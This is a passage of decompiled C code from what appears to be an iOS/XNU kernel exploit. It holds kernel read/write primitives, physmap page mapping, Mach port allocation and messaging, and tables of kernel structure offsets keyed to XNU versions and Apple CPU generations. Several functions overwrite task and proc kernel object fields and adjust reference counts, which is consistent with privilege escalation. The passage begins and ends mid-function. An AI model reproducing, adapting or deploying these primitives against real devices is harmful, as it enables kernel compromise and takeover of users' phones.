        v4 = v28;
    }
    else
    {
LABEL_29:
      v22 = 0;
    }
    if ( v58[1] + 1 >= 2 )
      mach_port_mod_refs(mach_task_self_, v58[1], 1u, -1);
    v23 = v58[0];
    if ( v58[0] + 1 < 2 )
      goto LABEL_83;
    v24 = mach_task_self_;
    goto LABEL_82;
  }
  v8 = compute_kobj_scan_halfstride(a1);
  if ( !v8 )
    return 0;
  if ( v4 >= v8 )
  {
    v9 = *(uint32_t *)(a1 + 384);
    v10 = v4 % v9;
    v11 = v9 - v4 % v9;
    if ( !v10 )
      v11 = 0;
    v4 += v11;
  }
  v12 = *(uint32_t *)(a1 + 360);
  if ( v4 >= 0x3FFF * v12 )
  {
    name[0] = 0;
    if ( !mach_port_allocate(mach_task_self_, 1u, name) )
    {
      v30 = get_task_port_offset(a1);
      if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
      {
        v31 = -36;
        if ( v4 >= 0x25 && v30 + 104 <= v4 )
        {
          if ( v4 < 0x29 )
            goto LABEL_80;
          if ( v30 + 108 <= v4 )
          {
            v33 = 108;
            v34 = 4;
            do
            {
              v35 = v33;
              if ( v33 - 64 >= v4 )
                break;
              v33 += 4;
              v34 += 4;
            }
            while ( v30 + ((v34 / 3) & 0x7FFFFFFC) + v33 <= v4 );
            v32 = v35 - 68;
          }
          else
          {
            v32 = 36;
          }
          v31 = v32 - 36;
          if ( v32 == 36 )
            goto LABEL_80;
        }
      }
      else
      {
        v31 = v4 + 76;
        if ( v4 + 76 <= 256 - v30 )
          goto LABEL_80;
      }
      v36 = calloc(v31, 1u);
      if ( v36 )
      {
        v18 = v36;
        if ( (v31 & 3) != 0 )
          goto LABEL_78;
        v37 = name[0];
        if ( (unsigned int)init_krw_ctx_fields((__int64)v59) )
          goto LABEL_78;
        if ( !(unsigned int)buf_append_data((__int64)v59, v18, v31) )
        {
          v42 = send_mach_msg_from_ctx((__int64)v59, 0, v37, 0);
          free_krw_ctx_flags((__int64)v59);
          if ( !v42 )
          {
            v43 = name[0];
            v22 = get_mach_task_port_slot((struct_krwCtx *)a1, name[0]);
            if ( !v22 )
              goto LABEL_79;
            if ( kread_physmap_decorated((struct_krwCtx *)a1, v22, v59) && validate_kaddr_range(a1, v59[0]) )
            {
              v53 = v43;
              v44 = *(uint64_t *)(a1 + 344);
              if ( v44 < XNU_VERSION_PACKED(7195, 42, 1, 0, 0) )
                goto LABEL_100;
              v45 = v44 > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
              v46 = 24;
              if ( v45 )
                v46 = 16;
              if ( kread_physmap_decorated((struct_krwCtx *)a1, v59[0] + v46, v59) && validate_kaddr_range(a1, v59[0]) )
              {
LABEL_100:
                v47 = v22;
                v48 = v22 + 8;
                v49 = krw_read_thunk((struct_krwCtx *)a1, v22 + 8 + *(int *)(a1 + 360), 2, &v58[1]);
                v22 = 0;
                if ( !v49 || LOWORD(v58[1]) != 1 )
                  goto LABEL_79;
                if ( kwrite_physmap_with_a3_ptr(a1, v47, 0) )
                {
                  LOWORD(v58[1]) = 0;
                  if ( (unsigned int)kwrite_with_retry(a1, v48 + *(int *)(a1 + 360), (__int64)&v58[1], 2) )
                  {
                    v50 = task_self_get_ipc_port((struct_krwCtx *)a1, v53);
                    if ( v50 )
                    {
                      kread_modify_u32_with_delta((struct_krwCtx *)a1, v50, -1);
                      v22 = v59[0];
                      goto LABEL_79;
                    }
                  }
                }
              }
            }
          }
          goto LABEL_78;
        }
        goto LABEL_77;
      }
LABEL_80:
      v22 = 0;
      goto LABEL_81;
    }
  }
  else
  {
    name[0] = 0;
    v13 = v4 % v12;
    v14 = v12 - v4 % v12;
    if ( v13 )
      v15 = v14;
    else
      v15 = 0;
    if ( !mach_port_allocate(mach_task_self_, 1u, name) )
    {
      v16 = v15 + v4;
      v17 = calloc(v15 + v4, 1u);
      if ( v17 )
      {
        v18 = v17;
        if ( v16 % *(uint32_t *)(a1 + 360) )
          goto LABEL_78;
        v19 = name[0];
        if ( (unsigned int)init_krw_ctx_fields((__int64)v59) )
          goto LABEL_78;
        if ( !(unsigned int)krw_ctx_buf_append_entry((__int64)v59, (__int64)v18, v16 / *(uint32_t *)(a1 + 360)) )
        {
          v20 = send_mach_msg_from_ctx((__int64)v59, 0, v19, 0);
          free_krw_ctx_flags((__int64)v59);
          if ( !v20 )
          {
            v21 = kread_mach_task_port_slot_plus80((struct_krwCtx *)a1, name[0]);
            v22 = v21;
            if ( !v21 )
            {
LABEL_79:
              free(v18);
LABEL_81:
              v24 = mach_task_self_;
              v23 = name[0];
LABEL_82:
              mach_port_mod_refs(v24, v23, 1u, -1);
              goto LABEL_83;
            }
            if ( kread_physmap_decorated((struct_krwCtx *)a1, v21 + 36, v59) && validate_kaddr_range(a1, v59[0]) )
            {
              if ( noppl_kwrite32(a1, v22 + 32, 0) )
                v22 = v59[0];
              else
                v22 = 0;
              goto LABEL_79;
            }
          }
LABEL_78:
          v22 = 0;
          goto LABEL_79;
        }
LABEL_77:
        free_krw_ctx_flags((__int64)v59);
        goto LABEL_78;
      }
      goto LABEL_80;
    }
  }
  v22 = 0;
LABEL_83:
  if ( v22 && v4 != *a2 )
    *a2 = v4;
  return v22;
}

//----- (000000000003796C) ----------------------------------------------------
unsigned __int64 __fastcall alloc_physmap_scratch_page(__int64 a1, uint32_t *a2)
{
  unsigned __int64 v4; // x19
  vm_size_t v5; // x20
  vm_address_t address; // [xsp+0h] [xbp-40h] BYREF
  vm_size_t size; // [xsp+Ch] [xbp-34h] BYREF

  LODWORD(size) = *a2;
  v4 = alloc_physmap_page(a1, (unsigned int *)&size);
  if ( v4 )
  {
    address = 0;
    v5 = (unsigned int)size;
    if ( vm_allocate(mach_task_self_, &address, (unsigned int)size, 1) )
    {
LABEL_3:
      map_shared_mem_and_transfer_data(a1, v4, v5);
      return 0;
    }
    if ( !(unsigned int)kwrite_with_retry(a1, v4, address, v5) )
    {
      vm_deallocate(mach_task_self_, address, v5);
      goto LABEL_3;
    }
    if ( (uint32_t)v5 != *a2 )
      *a2 = v5;
    vm_deallocate(mach_task_self_, address, v5);
  }
  return v4;
}

//----- (0000000000037A50) ----------------------------------------------------
__int64 __fastcall kwrite_task_kobj_field_via_physmap(struct_krwCtx *a1, unsigned int a2, int a3, int a4, __int16 a5)
{
  __int64 v9; // x19
  unsigned __int64 v10; // x0
  unsigned __int64 v11; // x21
  mach_vm_address_t v12; // x23
  unsigned __int64 v13; // x22
  unsigned __int64 v14; // x23
  __int64 v15; // x21
  unsigned int v17; // [xsp+0h] [xbp-60h] BYREF
  unsigned int v18; // [xsp+4h] [xbp-5Ch] BYREF
  unsigned int v19; // [xsp+8h] [xbp-58h] BYREF
  unsigned int v20; // [xsp+Ch] [xbp-54h] BYREF
  unsigned int v21; // [xsp+10h] [xbp-50h] BYREF
  unsigned int v22; // [xsp+14h] [xbp-4Ch] BYREF
  __int64 v23; // [xsp+18h] [xbp-48h] BYREF
  __int64 v24; // [xsp+20h] [xbp-40h] BYREF
  __int16 v25; // [xsp+2Eh] [xbp-32h] BYREF

  v25 = a5;
  v23 = 0;
  v24 = 0;
  if ( (a1->flags & KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
    return 708616;
  v9 = check_krw_capabilities_version((int *)a1, (int *)&v22, (int *)&v21, (int *)&v20, (int *)&v19);
  if ( !(uint32_t)v9 )
  {
    v9 = get_proc_kobj_pair_cached((__int64)a1, a3, &v24);
    if ( !(uint32_t)v9 )
    {
      v9 = 163855;
      v10 = get_task_kobject_addr(a1, a2);
      if ( !v10 )
        return 163854;
      v11 = v10;
      v12 = v10 + v22;
      if ( kread_physmap_decorated(a1, v12, (unsigned __int64 *)&v23) )
      {
        if ( v23 && !validate_kaddr_range((__int64)a1, v23) )
          return 163878;
        if ( !kwrite64((__int64)a1, v12, v24) )
          return 163856;
        if ( a4 )
        {
          v13 = v11 + v21;
          if ( !kread_u32((__int64)a1, v13, &v18) )
            return v9;
          if ( v18 > 3 )
            return 163857;
          v14 = v11 + v20;
          if ( !kread_u32((__int64)a1, v14, &v17) )
            return v9;
          if ( v17 > 0xB71B00 )
            return 163857;
          if ( !noppl_kwrite32((__int64)a1, v13, 1) || !noppl_kwrite32((__int64)a1, v14, 12000000) )
            return 163856;
        }
        v15 = v11 + v19;
        if ( (unsigned int)krw_read_thunk(a1, v15, 2, &v18) )
        {
          if ( (unsigned __int16)v18 > 0x7Fu )
            return 163857;
          if ( (unsigned int)kwrite_with_retry((__int64)a1, v15, (__int64)&v25, 2) )
            return 0;
          else
            return 163856;
        }
      }
    }
  }
  return v9;
}

//----- (0000000000037C50) ----------------------------------------------------
__int64 __fastcall check_krw_capabilities_version(int *a1, int *a2, int *a3, int *a4, int *a5)
{
  int v6; // w11
  __int64 result; // x0
  unsigned __int64 v8; // x10
  int v9; // w9
  int v10; // w8
  bool v11; // zf
  int v12; // w9
  int v13; // w15
  int v14; // w16
  int v15; // w17
  bool v16; // cf
  int v17; // w8
  int v18; // w9
  int v19; // w10
  int v20; // w11
  int v21; // w8
  int v22; // w11
  int v23; // w12
  int v24; // w13
  int v25; // w14
  bool v26; // cc
  int v27; // w10
  int v28; // w16
  bool v29; // zf
  int v30; // w8
  bool v31; // cc
  int v32; // w12
  int v33; // w11

  v6 = 89669633;
  result = 708616LL;
  v8 = *((uint64_t *)a1 + 43);
  v9 = *a1;
  if ( v8 >> 43 >= 0x44B )
    v6 = 89670145;
  if ( (v9 & v6) == 0 )
    return result;
  result = 163884LL;
  v10 = a1[80];
  if ( v10 <= 8791 )
  {
    if ( (unsigned int)(v10 - 8019) >= 2 )
    {
      if ( v10 != 6153 )
      {
        if ( v10 != 7195 )
          return result;
        v11 = (v9 & KRW_CTX_FLAG_CPU_A13_A14_MASK) == 0;
        if ( (v9 & KRW_CTX_FLAG_CPU_A13_A14_MASK) != 0 )
          v12 = 648;
        else
          v12 = 640;
        if ( v11 )
          v13 = 364;
        else
          v13 = 372;
        if ( v11 )
          v14 = 556;
        else
          v14 = 564;
        if ( v11 )
          v15 = 388;
        else
          v15 = 396;
        v16 = v8 >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0);
        if ( v8 >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
          v17 = v12;
        else
          v17 = 448;
        if ( v8 >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
          v18 = v13;
        else
          v18 = 172;
        if ( v8 >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
          v19 = v14;
        else
          v19 = 364;
        if ( v16 )
          v20 = v15;
        else
          v20 = 196;
        goto LABEL_111;
      }
      v31 = v8 > XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023);
      if ( v8 <= XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
        v17 = 424;
      else
        v17 = 416;
      if ( v8 <= XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
        v18 = 172;
      else
        v18 = 164;
      if ( v8 <= XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
        v19 = 340;
      else
        v19 = 332;
      v20 = 196;
      v32 = 188;
      goto LABEL_93;
    }
    if ( (v9 & 0x100000) != 0 )
    {
      v31 = v8 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
      if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
        v18 = 384;
      else
        v18 = 380;
      if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
        v17 = 656;
      else
        v17 = 544;
      if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
        v19 = 560;
      else
        v19 = 452;
      v20 = 400;
      v32 = 404;
LABEL_93:
      if ( v31 )
        v20 = v32;
      goto LABEL_111;
    }
    if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v23 = 368;
    else
      v23 = 364;
    if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v24 = 640;
    else
      v24 = 528;
    if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v25 = 548;
    else
      v25 = 436;
    v26 = v8 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
    if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v27 = 376;
    else
      v27 = 372;
    if ( v26 )
      v17 = 536;
    else
      v17 = 648;
    if ( v26 )
      v28 = 444;
    else
      v28 = 556;
    v29 = (v9 & KRW_CTX_FLAG_CPU_A13_A14_MASK) == 0;
    if ( (v9 & KRW_CTX_FLAG_CPU_A13_A14_MASK) != 0 )
    {
      v18 = v27;
    }
    else
    {
      v17 = v24;
      v18 = v23;
    }
    if ( v29 )
      v19 = v25;
    else
      v19 = v28;
    if ( v29 )
      v20 = 388;
    else
      v20 = 396;
LABEL_111:
    result = 0LL;
    *a2 = v17;
    *a3 = v18;
    *a4 = v19;
    *a5 = v20;
    return result;
  }
  if ( v10 == 8792 || v10 == 8796 )
  {
    v30 = v9 & KRW_CTX_FLAG_CPU_A8_TO_A17_MASK;
    if ( (v9 & KRW_CTX_FLAG_CPU_A8_TO_A17_MASK) >= 0x80000 )
    {
      if ( v30 != 0x80000 )
      {
        if ( v30 != 0x100000 && v30 != 0x1000000 )
          return result;
        v33 = 40;
LABEL_107:
        v17 = v33 + 488;
        v18 = v33 + 340;
        v19 = v33 + 412;
        v20 = v33 + 364;
        goto LABEL_111;
      }
    }
    else
    {
      if ( v30 == 1 )
      {
        v33 = 16;
        goto LABEL_107;
      }
      if ( v30 == 512 )
      {
        v33 = 0;
        goto LABEL_107;
      }
      if ( v30 != 0x4000 )
        return result;
    }
    v33 = 32;
    goto LABEL_107;
  }
  if ( v10 != 10002 )
    return result;
  v21 = v9 & KRW_CTX_FLAG_CPU_A8_TO_A17_MASK;
  if ( (v9 & KRW_CTX_FLAG_CPU_A8_TO_A17_MASK) >= 0x100000 )
  {
    if ( v21 == 0x100000 || v21 == 0x1000000 )
    {
      v22 = 24;
    }
    else
    {
      if ( v21 != 0x4000000 )
        return result;
      v22 = 104;
    }
    goto LABEL_110;
  }
  if ( v21 == 1 )
  {
    v22 = 0;
    goto LABEL_110;
  }
  if ( v21 == 0x4000 || v21 == 0x80000 )
  {
    v22 = 16;
LABEL_110:
    v17 = v22 | 0x200;
    v18 = v22 + 356;
    v19 = v22 + 436;
    v20 = v22 + 380;
    goto LABEL_111;
  }
  return result;
}

//----- (0000000000037F58) ----------------------------------------------------
__int64 __fastcall get_proc_kobj_pair_cached(__int64 a1, int a2, uint64_t *a3)
{
  __int64 result; // x0
  __int64 v7; // x8
  unsigned int v8; // [xsp+Ch] [xbp-54h] BYREF
  __int128 v9[2]; // [xsp+10h] [xbp-50h] BYREF

  memset(v9, 0, sizeof(v9));
  v8 = 4;
  if ( !*(uint64_t *)(a1 + 584) || !*(uint64_t *)(a1 + 592) )
  {
    result = find_proc_kobj_via_processors(a1, 2, (__int64)v9, &v8);
    if ( (uint32_t)result )
      return result;
    if ( v8 < 2 )
      return 163857;
    *(__int128 *)(a1 + 584) = v9[0];
  }
  result = 0;
  v7 = 592;
  if ( a2 )
    v7 = 584;
  *a3 = *(uint64_t *)(a1 + v7);
  return result;
}

//----- (0000000000038034) ----------------------------------------------------
__int64 __fastcall port_table_lookup_v1(int *a1, __int64 a2, int a3, int a4, __int16 a5)
{
  __int64 v10; // x21
  __int64 v11; // x24
  __int64 v12; // x1
  __int64 v13; // x10
  unsigned int v15; // [xsp+8h] [xbp-48h] BYREF
  unsigned int v16; // [xsp+Ch] [xbp-44h] BYREF
  unsigned int v17; // [xsp+10h] [xbp-40h] BYREF
  unsigned int v18; // [xsp+14h] [xbp-3Ch] BYREF
  __int64 v19; // [xsp+18h] [xbp-38h] BYREF

  v19 = 0;
  if ( (*a1 & KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
    return 708616;
  v10 = check_krw_capabilities_version(a1, (int *)&v18, (int *)&v17, (int *)&v16, (int *)&v15);
  if ( !(uint32_t)v10 )
  {
    v10 = get_proc_kobj_pair_cached((__int64)a1, a3, &v19);
    if ( !(uint32_t)v10 )
    {
      v10 = 163857;
      v11 = v18;
      v12 = *(uint64_t *)(a2 + v18);
      if ( v12 && !validate_kaddr_range((__int64)a1, v12) )
        return 163878;
      *(uint64_t *)(a2 + v11) = v19;
      if ( a4 )
      {
        if ( *(uint32_t *)(a2 + v17) > 3u )
          return v10;
        v13 = v16;
        if ( *(uint32_t *)(a2 + v16) > 0xB71B00u )
          return v10;
        *(uint32_t *)(a2 + v17) = 1;
        *(uint32_t *)(a2 + v13) = 12000000;
      }
      if ( *(unsigned __int16 *)(a2 + v15) <= 0x7Fu )
      {
        v10 = 0;
        *(uint16_t *)(a2 + v15) = a5;
      }
    }
  }
  return v10;
}

//----- (0000000000038158) ----------------------------------------------------
__int64 __fastcall map_physpage_with_ports(struct_krwCtx *a1, __int64 a2, int a3, int a4, __int16 a5)
{
  __int64 v9; // x23
  vm_size_t v10; // x20
  kern_return_t v11; // w0
  __int64 v13; // x0
  vm_address_t v14; // x25
  __int64 v15; // x23
  __int64 v16; // x1
  __int64 v17; // x0
  __int64 v18; // x22
  __int64 v19; // x0
  __int64 v20; // x0
  __int64 v21; // x0
  int v22; // [xsp+0h] [xbp-70h] BYREF
  int v23; // [xsp+4h] [xbp-6Ch] BYREF
  unsigned int v24; // [xsp+8h] [xbp-68h] BYREF
  unsigned int v25; // [xsp+Ch] [xbp-64h] BYREF
  unsigned int v26; // [xsp+10h] [xbp-60h] BYREF
  unsigned int v27; // [xsp+14h] [xbp-5Ch] BYREF
  vm_address_t address; // [xsp+18h] [xbp-58h] BYREF
  __int64 v29; // [xsp+20h] [xbp-50h] BYREF
  __int16 v30; // [xsp+2Eh] [xbp-42h] BYREF

  v30 = a5;
  address = 0;
  v29 = 0;
  if ( (a1->flags & KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
    return 708616;
  v9 = check_krw_capabilities_version((int *)a1, (int *)&v27, (int *)&v26, (int *)&v25, (int *)&v24);
  if ( !(uint32_t)v9 )
  {
    v9 = get_proc_kobj_pair_cached((__int64)a1, a3, &v29);
    if ( !(uint32_t)v9 )
    {
      v10 = (unsigned int)a1->pageSizeOrSomething;
      v11 = vm_allocate(mach_task_self_, &address, v10, 1);
      if ( v11 )
      {
        v9 = v11 | 0x80000000;
      }
      else
      {
        v13 = read_via_mapped_physmem_region((__int64)a1, a2 & ~a1->pageMask, (void *)address, v10, 1);
        v9 = v13;
        if ( !(uint32_t)v13 )
        {
          v14 = (a1->pageMask & a2) + address;
          v15 = v27;
          v16 = *(uint64_t *)(v14 + v27);
          if ( v16 && !validate_kaddr_range((__int64)a1, v16) )
          {
            v9 = 163878;
          }
          else
          {
            v17 = physwritebuf_direct_mapped(a1, v15 + a2, &v29, a1->stride168, 1);
            v9 = v17;
            if ( !(uint32_t)v17 )
            {
              v9 = 163857;
              if ( !a4
                || *(uint32_t *)(v14 + v26) <= 3u
                && (v18 = v25, *(uint32_t *)(v14 + v25) <= 0xB71B00u)
                && (v23 = 1, v19 = physwritebuf_direct_mapped(a1, v26 + a2, &v23, 4u, 1), v9 = v19, !(uint32_t)v19)
                && (v22 = 12000000, v20 = physwritebuf_direct_mapped(a1, v18 + a2, &v22, 4u, 1), v9 = v20, !(uint32_t)v20) )
              {
                v9 = 163857;
                if ( *(unsigned __int16 *)(v14 + v24) <= 0x7Fu )
                {
                  v21 = physwritebuf_direct_mapped(a1, v24 + a2, &v30, 2u, 1);
                  v9 = v21;
                }
              }
            }
          }
        }
      }
      if ( address && (uint32_t)v10 )
        vm_deallocate(mach_task_self_, address, v10);
    }
  }
  return v9;
}
// 38248: variable 'v13' is possibly undefined
// 38290: variable 'v17' is possibly undefined
// 382EC: variable 'v19' is possibly undefined
// 38310: variable 'v20' is possibly undefined
// 38348: variable 'v21' is possibly undefined

//----- (0000000000038378) ----------------------------------------------------
unsigned __int64 __fastcall translate_physmap_addr_via_segments(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4)
{
  __int64 v8; // x8
  uint64_t *i; // x9
  unsigned __int64 v10; // x10

  if ( *(int *)(a1 + 320) < 6153 )
    return a2 - a3 + a4;
  if ( !*(uint64_t *)(a1 + 6680) && (unsigned int)init_or_get_kread_pattern_table(a1) )
    return 0;
  v8 = *(unsigned int *)(a1 + 6304);
  if ( !(uint32_t)v8 )
    return a2 - a3 + a4;
  for ( i = (uint64_t *)(a1 + 6680); ; i += 3 )
  {
    v10 = *(i - 2);
    if ( v10 <= a4 && *i + v10 > a4 )
      break;
    if ( !--v8 )
      return a2 - a3 + a4;
  }
  return a4 - v10 + *(i - 1);
}

//----- (0000000000038428) ----------------------------------------------------
__int64 __fastcall init_or_get_kread_pattern_table(__int64 a1)
{
  unsigned __int64 v2; // x20
  unsigned __int64 v3; // x0
  int v4; // w8
  bool v5; // zf
  __int64 v7; // x21
  unsigned __int64 v8; // x22
  __int64 v9; // x9
  __int64 v10; // x10
  uint64_t *v11; // x11
  __int64 v12; // [xsp+0h] [xbp-40h] BYREF
  __int64 record[3]; // [xsp+8h] [xbp-38h] BYREF

  v2 = *(uint64_t *)(a1 + 6296);
  if ( v2 )
  {
    if ( !*(uint32_t *)(a1 + 6304) )
      return 0;
  }
  else
  {
    LODWORD(v12) = 0;
    v3 = find_kernel_func_versioned(*(__int64 **)(a1 + 6648), (int *)&v12);
    v4 = v12;
    if ( v3 )
      v5 = (uint32_t)v12 == 0;
    else
      v5 = 1;
    if ( v5 )
      return 708625;
    v2 = v3;
    *(uint64_t *)(a1 + 6296) = v3;
    *(uint32_t *)(a1 + 6304) = v4;
  }
  v7 = 0;
  v8 = 0;
  while ( 1 )
  {
    record[0] = 0;
    record[1] = 0;
    record[2] = 0;
    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v2 + v7, 24, record) )
      break;
    v9 = record[1];
    v10 = record[2];
    if ( (*(uint32_t *)a1 & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
      v10 = record[2] << 14;
    v11 = (uint64_t *)(a1 + v7);
    v11[833] = record[0];
    v11[834] = v9;
    v11[835] = v10;
    ++v8;
    v7 += 24;
    if ( v8 >= *(unsigned int *)(a1 + 6304) )
      return 0;
  }
  return 163855;
}

//----- (0000000000038544) ----------------------------------------------------
unsigned __int64 __fastcall map_physpage_to_user(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4)
{
  __int64 v8; // x8
  uint64_t *i; // x9
  unsigned __int64 v10; // x10

  if ( *(int *)(a1 + 320) < 6153 )
    return a3 - a2 + a4;
  if ( !*(uint64_t *)(a1 + 6680) && (unsigned int)init_or_get_kread_pattern_table(a1) )
    return 0;
  v8 = *(unsigned int *)(a1 + 6304);
  if ( !(uint32_t)v8 )
    return a3 - a2 + a4;
  for ( i = (uint64_t *)(a1 + 6680); ; i += 3 )
  {
    v10 = *(i - 1);
    if ( v10 <= a4 && *i + v10 > a4 )
      break;
    if ( !--v8 )
      return a3 - a2 + a4;
  }
  return a4 - v10 + *(i - 2);
}

//----- (00000000000385F4) ----------------------------------------------------
__int64 __fastcall map_physpage_for_kobj(struct_krwCtx *a1, unsigned __int64 a2)
{
  __int64 result; // x0
  __int64 v7; // x21
  unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF
  unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF

  translation_base = a1->gap191[679];
  translation_delta = a1->gap191[680];
  if ( translation_base )
  {
    return map_physpage_to_user((__int64)a1, translation_base, translation_delta, a2);
  }
  result = lookup_or_resolve_kaddr((__int64)a1);
  if ( result )
  {
    result = walk_task_context_to_kobj(a1, result);
    if ( result )
    {
      v7 = result;
      if ( !kread_physmap_decorated(a1, result, &translation_base)
        || !kread_physmap_decorated(a1, v7 + a1->stride168, &translation_delta) )
      {
        return 0;
      }
      a1->gap191[679] = translation_base;
      a1->gap191[680] = translation_delta;
      return map_physpage_to_user((__int64)a1, translation_base, translation_delta, a2);
    }
  }
  return result;
}

//----- (00000000000386AC) ----------------------------------------------------
__int64 __fastcall resolve_physpage_addr(struct_krwCtx *a1, unsigned __int64 a2)
{
  __int64 result; // x0
  __int64 v7; // x21
  unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF
  unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF

  translation_base = a1->gap191[679];
  translation_delta = a1->gap191[680];
  if ( translation_base )
  {
    return translate_physmap_addr_via_segments((__int64)a1, translation_base, translation_delta, a2);
  }
  result = lookup_or_resolve_kaddr((__int64)a1);
  if ( result )
  {
    result = walk_task_context_to_kobj(a1, result);
    if ( result )
    {
      v7 = result;
      if ( !kread_physmap_decorated(a1, result, &translation_base)
        || !kread_physmap_decorated(a1, v7 + a1->stride168, &translation_delta) )
      {
        return 0;
      }
      a1->gap191[679] = translation_base;
      a1->gap191[680] = translation_delta;
      return translate_physmap_addr_via_segments((__int64)a1, translation_base, translation_delta, a2);
    }
  }
  return result;
}

//----- (0000000000038764) ----------------------------------------------------
__int64 __fastcall iterate_active_threads(__int64 a1)
{
  pthread_mutex_t *v2; // x20
  int v3; // w0
  int v4; // w8
  __int64 result; // x0
  unsigned __int64 i; // x8
  __int64 v7; // x20
  __int64 v8; // x1
  __int64 v9; // x2
  __int128 v10[8]; // [xsp+0h] [xbp-B0h] BYREF

  memset(v10, 0, sizeof(v10));
  v2 = (pthread_mutex_t *)(a1 + 616);
  v3 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 616));
  if ( v3 )
  {
    if ( v3 >= 0 )
      v4 = v3;
    else
      v4 = -v3;
    return v4 | 0x40000000u;
  }
  else
  {
    for ( i = 0; i != 128; i += 16LL )
    {
      if ( *(uint64_t *)(a1 + i + 688) && *(uint32_t *)(a1 + i + 696) )
      {
        v10[i / 0x10] = *(__int128 *)(a1 + i + 688);
        *(__int128 *)(a1 + i + 688) = 0u;
      }
    }
    pthread_mutex_unlock(v2);
    v7 = 0;
    while ( 1 )
    {
      v8 = *(uint64_t *)&v10[v7];
      if ( v8 )
      {
        v9 = DWORD2(v10[v7]);
        if ( (uint32_t)v9 )
        {
#if RECOMP_ENABLE_STOCK_CLOSE_RESTORE
          result = map_shared_mem_and_transfer_data(a1, v8, v9);
#else
          result = cleanup_restore_record_metadata_only(a1, v8, v9);
#endif
          if ( (uint32_t)result )
            break;
        }
      }
      if ( ++v7 == 8 )
        return 0;
    }
  }
  return result;
}

//----- (0000000000038870) ----------------------------------------------------
uint32_t __fastcall physmap_map_cached(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 a3)
{
  struct physmap_map_desc
  {
    uint64_t qword00;
    uint64_t qword08;
    uint64_t qword10;
    uint64_t qword18;
    uint32_t pmapObjectPage;
    uint32_t flags;
    uint32_t reserved28;
    uint32_t entrySize;
    uint32_t physicalPageNumber;
    uint32_t reserved34;
    uint32_t reserved38;
    uint32_t reserved3C;
  };
  vm_size_t pageSize; // x27
  int xnuMajorVersion; // w8
  __int64 v8; // x21
  kern_return_t memory_entry; // w0
  __int64 v12; // x22
  unsigned __int64 v13; // x0
  __int64 v14; // x0
  __int64 v15; // x24
  __int64 someInt1; // x8
  uint32_t *v18; // x9
  uint64_t *v19; // x9
  __int64 v20; // t1
  char *v21; // x11
  unsigned __int64 v22; // x0
  vm_address_t v23; // x1
  int v24; // [xsp+14h] [xbp-BCh] BYREF
  mem_entry_name_port_t object_handle[2]; // [xsp+18h] [xbp-B8h] BYREF
  vm_size_t size; // [xsp+20h] [xbp-B0h] BYREF
  vm_address_t address; // [xsp+28h] [xbp-A8h] BYREF
  struct physmap_map_desc desc; // [xsp+30h] [xbp-A0h] BYREF

  *(uint64_t *)(a3 + 48) = 0;
  *(__int128 *)(a3 + 16) = 0u;
  *(__int128 *)(a3 + 32) = 0u;
  *(__int128 *)a3 = 0u;
  address = 0;
  pageSize = vm_page_size;
  *(uint64_t *)object_handle = 0;
  xnuMajorVersion = krwCtx->xnuMajorVersion;
  v8 = 0x2802C;
  if ( xnuMajorVersion > 8791 )
  {
    if ( xnuMajorVersion != 8792 && xnuMajorVersion != 10002 && xnuMajorVersion != 8796 )
      return v8;
  }
  else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 6153 && xnuMajorVersion != 7195 )
  {
    return v8;
  }
  memset(&desc, 0, sizeof(desc));
  size = vm_page_size;
  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 0x20003, &object_handle[1], 0);
  if ( memory_entry )
  {
    v12 = 0;
LABEL_15:
    v8 = memory_entry | 0x80000000;
    goto LABEL_20;
  }
  v13 = get_task_kobject_addr(krwCtx, object_handle[1]);
  v8 = 0x28026;
  if ( !v13
    || (v14 = walk_kaddr_chain_to_target(krwCtx, v13, 0)) == 0
    || (v15 = v14, v8 = 0xAD009, object_handle[0] = 64, pthread_mutex_lock(&krwCtx->someMutex)) )
  {
    v12 = 0;
    goto LABEL_20;
  }
  someInt1 = krwCtx->someInt1;
  v18 = &krwCtx->someInt1 + 4 * someInt1;
  v20 = *((uint64_t *)v18 + 1);
  v19 = v18 + 2;
  v12 = v20;
  if ( v20 && (v21 = (char *)krwCtx + 0x10 * someInt1, *((uint32_t *)v21 + 174)) )
  {
    object_handle[0] = *((uint32_t *)v21 + 174);
    *v19 = 0;
    *((uint32_t *)v21 + 174) = 0;
    if ( (uint32_t)someInt1 )
      krwCtx->someInt1 = someInt1 - 1;
    pthread_mutex_unlock(&krwCtx->someMutex);
  }
  else
  {
